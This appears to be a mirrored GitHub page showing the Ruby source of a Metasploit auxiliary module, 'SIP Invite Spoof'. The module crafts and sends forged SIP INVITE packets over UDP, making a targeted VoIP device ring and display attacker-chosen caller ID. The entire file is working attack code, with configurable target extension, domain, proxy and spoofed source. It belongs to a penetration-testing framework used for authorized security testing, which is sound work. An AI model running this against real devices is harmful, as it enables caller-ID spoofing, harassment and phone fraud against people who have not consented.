mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
35d3bbf74d
See the complaint on #4039. This doesn't fix that particular issue (it's somewhat unrelated), but does solve around a file parsing problem reported by @void-in
98 lines
2.8 KiB
Ruby
98 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Udp
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'SIP Invite Spoof',
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'Description' => %q{
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This module will create a fake SIP invite request making the targeted device ring
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and display fake caller id information.
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},
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'Author' =>
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[
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'David Maynor <dave[at]erratasec.com>', # original module
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'ChrisJohnRiley' # modifications
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],
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'License' => MSF_LICENSE
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)
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deregister_options('Proxies','SSL','RHOST')
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register_options(
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[
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Opt::RPORT(5060),
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OptString.new('SRCADDR', [true, "The sip address the spoofed call is coming from",'192.168.1.1']),
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OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"]),
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OptString.new('EXTENSION', [false, "The specific extension or name to target", nil]),
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OptString.new('DOMAIN', [false, "Use a specific SIP domain", nil])
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], self.class)
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register_advanced_options(
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[
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OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]),
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OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060])
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], self.class)
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end
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def run_host(ip)
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begin
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name = datastore['MSG']
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src = datastore['SRCADDR']
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ext = datastore['EXTENSION']
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dom = datastore['DOMAIN']
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sphost = datastore['SIP_PROXY_NAME']
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spport = datastore['SIP_PROXY_PORT'] || 5060
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conn_string = ''
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if not ext.nil? and not ext.empty?
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# set extesion name/number
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conn_string = "#{ext}@"
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end
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if not dom.nil? and not dom.empty?
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# set domain
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conn_string << "#{dom}"
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else
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conn_string << "#{ip}"
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end
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# set Route header if SIP_PROXY is set
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if not sphost.nil? and not sphost.empty?
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route = "Route: <sip:#{sphost}:#{spport};lr>\r\n"
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end
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connect_udp
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print_status("Sending Fake SIP Invite to: #{conn_string}")
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print_status("Using SIP proxy #{sphost}:#{spport}") if route
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req = "INVITE sip:#{conn_string} SIP/2.0" + "\r\n"
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# add Route: header to req if SIP_PROXY is set
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req << route if route
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req << "To: <sip:#{conn_string}>" + "\r\n"
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req << "Via: SIP/2.0/UDP #{ip}" + "\r\n"
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req << "From: \"#{name}\"<sip:#{src}>" + "\r\n"
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req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n"
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req << "CSeq: 1 INVITE" + "\r\n"
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req << "Max-Forwards: 20" + "\r\n"
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req << "Contact: <sip:#{conn_string}>" + "\r\n\r\n"
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udp_sock.put(req)
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disconnect_udp
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rescue Errno::EACCES
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end
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end
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end
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